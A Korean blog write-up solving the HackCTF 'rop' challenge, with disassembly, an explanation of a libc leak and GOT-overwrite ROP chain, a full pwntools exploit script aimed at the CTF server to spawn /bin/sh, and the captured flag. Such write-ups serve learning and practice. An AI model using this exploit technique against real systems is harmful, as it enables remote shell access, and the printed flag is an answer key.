0x08048470 <+0>: lea ecx,[esp+0x4]
0x08048474 <+4>: and esp,0xfffffff0
0x08048477 <+7>: push DWORD PTR [ecx-0x4]
0x0804847a <+10>: push ebp
0x0804847b <+11>: mov ebp,esp
0x0804847d <+13>: push ecx
0x0804847e <+14>: sub esp,0x4
0x08048481 <+17>: call 0x804844b <vulnerable_function>
0x08048486 <+22>: sub esp,0x4
0x08048489 <+25>: push 0xe
0x0804848b <+27>: push 0x8048530
0x08048490 <+32>: push 0x1
0x08048492 <+34>: call 0x8048340 <write@plt>
0x08048497 <+39>: add esp,0x10
0x0804849a <+42>: mov eax,0x0
0x0804849f <+47>: mov ecx,DWORD PTR [ebp-0x4]
0x080484a2 <+50>: leave
0x080484a3 <+51>: lea esp,[ecx-0x4]
0x080484a6 <+54>: ret
main의 어셈블리어. vulnerable_function도 어셈블을 보자.
0x0804844b <+0>: push ebp
0x0804844c <+1>: mov ebp,esp
0x0804844e <+3>: sub esp,0x88
0x08048454 <+9>: sub esp,0x4
0x08048457 <+12>: push 0x100
0x0804845c <+17>: lea eax,[ebp-0x88]
0x08048462 <+23>: push eax
0x08048463 <+24>: push 0x0
0x08048465 <+26>: call 0x8048310 <read@plt>
0x0804846a <+31>: add esp,0x10
0x0804846d <+34>: nop
0x0804846e <+35>: leave
0x0804846f <+36>: ret
vulnerable_function
read(0,buf[0x88]],4) → buff에 입력을 받음. (단 buf의 크기는 0x88)
이 문제를 푸는데 최종 목적은 system('/bin/sh')를 실행하는 것이다.
일단 system함수의 정확한 주소를 알기 위해서는 GOT를 얻어야한다.
read함수의 got를 통해 read함수의 실제 libc에서의 값을 구할 수 있다.
libc에서 read값을 알 수 있고, read의 offset을 구하면(gdb에서 plt를 통해 구할 수 있음) libc의 base주소를 알 수 있다.
libc의 base를 알면 system함수의 실제 주소를 알 수 있고, 동시에 /bin/sh의 위치도 알 수 있다.
하지만 이번에는 /bin/sh를 BSS에 넣어 직접 사용해보도록 한다.
이를 위해서는 ROP chainning을 사용해야한다.
①read의 got를 출력하고
②BSS영역에 '/bin/sh'를 저장하고,
③read함수의 got에 system의 실제 주소를 overwrite 해서,
④ 쉘을 획득하자.
즉, 실제로 들어가야 할 페이로드는 다음과 같다.
이 구조대로 exploit코드를 작성하자.
from pwn import *
# p = process('./rop')
p = remote("ctf.j0n9hyun.xyz",3021)
binsh = 0xf7f690af
write_plt = 0x8048340
pop3ret = 0x8048509
read_got = 0x804a00c
popret = 0x80482f1
read_plt = 0x8048310
bss = 0x804A024
payload = b"a"*(0x88+4)
payload += p32(write_plt)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(read_plt)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt) # system
payload += p32(popret)
payload += p32(bss)
p.sendline(payload)
read = u32(p.recv(4))
libc_base = read - 0xd4350
libc_system = libc_base + 0x3a940
# libc_binsh = libc_base + 0x17e0af
print(hex(libc_base))
# print(hex(libc_binsh))
p.send('/bin/sh' + '\x00')
p.send(p32(libc_system))
p.interactive()
FLAG를 얻기 위해서는 서버에서 사용중인 libc의 offset을 사용해야 한다.
같이 주어진 libc.so.6파일을 gdb로 분석해서 offset을 찾고 exploit코드에 작성한다.
BSS의 주소는 IDA를 통해 찾았다.
FLAG : HackCTF{4bcd3fg7ijPlmA4pqrtuvxza2cdef}
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] gift (0) | 2021.08.08 |
---|---|
[HackCTF] RTL_World (0) | 2021.08.08 |
[HackCTF] x64 buffer overflow (0) | 2021.08.08 |
[HackCTF] Basic_BOF #2 (0) | 2021.08.08 |
[HackCTF] Basic_BOF #1 (0) | 2021.08.08 |